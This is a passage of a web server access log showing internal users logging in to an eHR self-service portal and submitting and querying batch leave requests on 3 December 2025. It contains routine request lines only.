+0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:16:36:06 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.12.46 - - [03/Dec/2025:16:36:07 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:16:36:07 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.12.46 - - [03/Dec/2025:16:36:09 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:16:36:09 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.12.46 - - [03/Dec/2025:16:36:14 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:16:36:14 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 192.168.12.46 - - [03/Dec/2025:16:36:15 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 9921 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:16:36:15 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 9921 100.64.0.1 - - [03/Dec/2025:16:37:46 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/ HTTP/1.1" 200 399 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.7390.122 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 100.64.0.1 - - [03/Dec/2025:16:37:46 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/ HTTP/1.1" 200 399 192.168.12.46 - - [03/Dec/2025:16:40:01 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:16:40:01 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.12.46 - - [03/Dec/2025:16:40:50 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_d8e7f3_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:16:40:50 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_d8e7f3_256x240.png HTTP/1.1" 200 4369 192.168.12.46 - - [03/Dec/2025:16:41:07 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8868254091309988 HTTP/1.1" 200 16608 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:16:41:07 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8868254091309988 HTTP/1.1" 200 16608 192.168.12.46 - - [03/Dec/2025:16:41:12 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8868254091309988 HTTP/1.1" 200 18789 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8868254091309988" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:16:41:12 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8868254091309988 HTTP/1.1" 200 18789 192.168.12.46 - - [03/Dec/2025:16:41:19 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4208 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:16:41:19 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4208 192.168.12.46 - - [03/Dec/2025:16:42:53 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:16:42:53 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.12.46 - - [03/Dec/2025:16:43:10 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.08853913654771539 HTTP/1.1" 200 16608 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:16:43:10 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.08853913654771539 HTTP/1.1" 200 16608 192.168.12.46 - - [03/Dec/2025:16:43:17 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.08853913654771539 HTTP/1.1" 200 18792 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.08853913654771539" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:16:43:17 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.08853913654771539 HTTP/1.1" 200 18792 192.168.12.46 - - [03/Dec/2025:16:43:21 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4208 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:16:43:21 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4208 192.168.12.46 - - [03/Dec/2025:16:44:13 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:16:44:13 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.12.46 - - [03/Dec/2025:16:44:28 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6320443500631532 HTTP/1.1" 200 16608 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:16:44:28 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6320443500631532 HTTP/1.1" 200 16608 192.168.12.46 - - [03/Dec/2025:16:44:34 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6320443500631532 HTTP/1.1" 200 18790 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6320443500631532" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:16:44:34 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6320443500631532 HTTP/1.1" 200 18790 192.168.12.46 - - [03/Dec/2025:16:44:39 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4213 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:16:44:39 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4213 192.168.12.46 - - [03/Dec/2025:16:44:44 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:16:44:44 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.12.46 - - [03/Dec/2025:16:45:00 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.26534232184714224 HTTP/1.1" 200 16608 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:16:45:00 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.26534232184714224 HTTP/1.1" 200 16608 192.168.12.46 - - [03/Dec/2025:16:45:05 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.26534232184714224 HTTP/1.1" 200 18797 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.26534232184714224" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:16:45:05 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.26534232184714224 HTTP/1.1" 200 18797 192.168.12.46 - - [03/Dec/2025:16:45:09 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4208 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:16:45:09 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4208 192.168.12.46 - - [03/Dec/2025:16:47:59 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:16:47:59 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.12.46 - - [03/Dec/2025:16:48:15 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8699123669207525 HTTP/1.1" 200 16608 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:16:48:15 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8699123669207525 HTTP/1.1" 200 16608 192.168.139.16 - - [03/Dec/2025:16:48:57 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [03/Dec/2025:16:48:57 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 302 - 192.168.139.16 - - [03/Dec/2025:16:48:57 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [03/Dec/2025:16:48:57 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.139.16 - - [03/Dec/2025:16:48:58 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [03/Dec/2025:16:48:58 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.139.16 - - [03/Dec/2025:16:49:01 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [03/Dec/2025:16:49:01 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.139.16 - - [03/Dec/2025:16:49:02 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 9206 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [03/Dec/2025:16:49:02 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 9206 192.168.139.16 - - [03/Dec/2025:16:49:03 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [03/Dec/2025:16:49:03 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.11.132 - - [03/Dec/2025:16:49:35 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.132 - - [03/Dec/2025:16:49:35 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.139.16 - - [03/Dec/2025:16:49:42 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [03/Dec/2025:16:49:42 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 200 10133 192.168.11.132 - - [03/Dec/2025:16:49:46 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.132 - - [03/Dec/2025:16:49:46 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.132 - - [03/Dec/2025:16:49:51 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.132 - - [03/Dec/2025:16:49:51 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 192.168.11.132 - - [03/Dec/2025:16:49:52 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.132 - - [03/Dec/2025:16:49:52 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.11.132 - - [03/Dec/2025:16:49:57 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.132 - - [03/Dec/2025:16:49:57 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.11.132 - - [03/Dec/2025:16:50:13 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8087850881205036 HTTP/1.1" 200 8592 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.132 - - [03/Dec/2025:16:50:13 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8087850881205036 HTTP/1.1" 200 8592 192.168.11.132 - - [03/Dec/2025:16:50:16 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8087850881205036 HTTP/1.1" 200 16458 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8087850881205036" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.132 - - [03/Dec/2025:16:50:16 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8087850881205036 HTTP/1.1" 200 16458 192.168.12.69 - - [03/Dec/2025:16:50:34 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.12.69 - - [03/Dec/2025:16:50:34 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 192.168.12.69 - - [03/Dec/2025:16:50:34 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.12.69 - - [03/Dec/2025:16:50:34 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.132 - - [03/Dec/2025:16:50:37 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4195 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.132 - - [03/Dec/2025:16:50:37 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4195 192.168.11.132 - - [03/Dec/2025:16:50:40 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.132 - - [03/Dec/2025:16:50:40 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.12.69 - - [03/Dec/2025:16:53:20 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.12.69 - - [03/Dec/2025:16:53:20 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 192.168.12.69 - - [03/Dec/2025:16:53:20 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.12.69 - - [03/Dec/2025:16:53:20 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.12.46 - - [03/Dec/2025:16:53:32 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8699123669207525 HTTP/1.1" 200 18803 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8699123669207525" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:16:53:32 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8699123669207525 HTTP/1.1" 200 18803 192.168.12.46 - - [03/Dec/2025:16:53:39 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4217 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:16:53:39 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4217 192.168.12.46 - - [03/Dec/2025:16:53:39 +0800] "GET /eHR/img/N.png HTTP/1.1" 200 1041 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:16:53:39 +0800] "GET /eHR/img/N.png HTTP/1.1" 200 1041 192.168.12.46 - - [03/Dec/2025:16:53:45 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 41023 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:16:53:45 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 41023 192.168.12.46 - - [03/Dec/2025:16:53:55 +0800] "GET /eHR/img/pe.png HTTP/1.1" 200 1268 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:16:53:55 +0800] "GET /eHR/img/pe.png HTTP/1.1" 200 1268 192.168.12.46 - - [03/Dec/2025:16:53:51 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 100678 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:16:53:51 +0800] "POST 